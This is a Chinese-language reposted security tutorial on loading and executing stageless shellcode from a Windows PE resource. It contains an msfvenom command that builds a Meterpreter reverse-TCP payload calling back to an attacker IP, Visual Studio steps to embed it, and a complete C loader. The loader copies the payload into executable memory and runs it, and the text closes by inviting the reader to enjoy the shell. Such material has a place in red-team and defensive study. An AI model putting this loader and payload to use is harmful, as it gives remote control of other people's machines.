本实验展示了一种如何使用 Visual Studio 使用 PE 资源从 C 程序中加载和执行非分段 shellcode 的技术。
如果您曾经尝试从 C/C++ 程序执行未暂存的 shellcode,您就会知道,如果您定义一个如下所示的巨大 char 数组(只是一个片段),那么您将很难做到这一点:
将 Shellcode 作为资源嵌入
让我们首先生成二进制格式的非分阶段 meterpreter 有效负载。这将是我们想要嵌入到 C++ 程序中的资源:
msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.0.0.5 LPORT=443 > meterpreter.bin
右键单击Resource Files解决方案资源管理器中的 并选择Add > Resource
单击Import并选择您要包含的资源。就我而言 - 是meterpreter.bin:
给资源一个资源类型名称 - 任何都可以,但在调用 API 调用时需要记住它FindResource(稍后在代码中显示):
此时,您可以在资源浏览器中看到该文件meterpreter.bin现已包含在程序的资源中:
如果您现在编译程序并使用资源编辑器进行检查,您现在可以看到您刚刚嵌入的资源
代码
然后,我们可以利用一小组自解释的Windows API来查找嵌入的资源,将其加载到内存中,并执行它,如下所示:
int main()
{
// IDR_METERPRETER_BIN1 - is the resource ID - which contains ths shellcode
// METERPRETER_BIN is the resource type name we chose earlier when embedding the meterpreter.bin
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_METERPRETER_BIN1), L"METERPRETER_BIN");
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);
void *exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcodeResouceData, shellcodeSize);
((void(*)())exec)();
return 0;
}
编译并运行该二进制文件,享受Shell的使用。
原文始发于微信公众号(Ots安全):从 PE 资源加载并执行 Shellcode
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论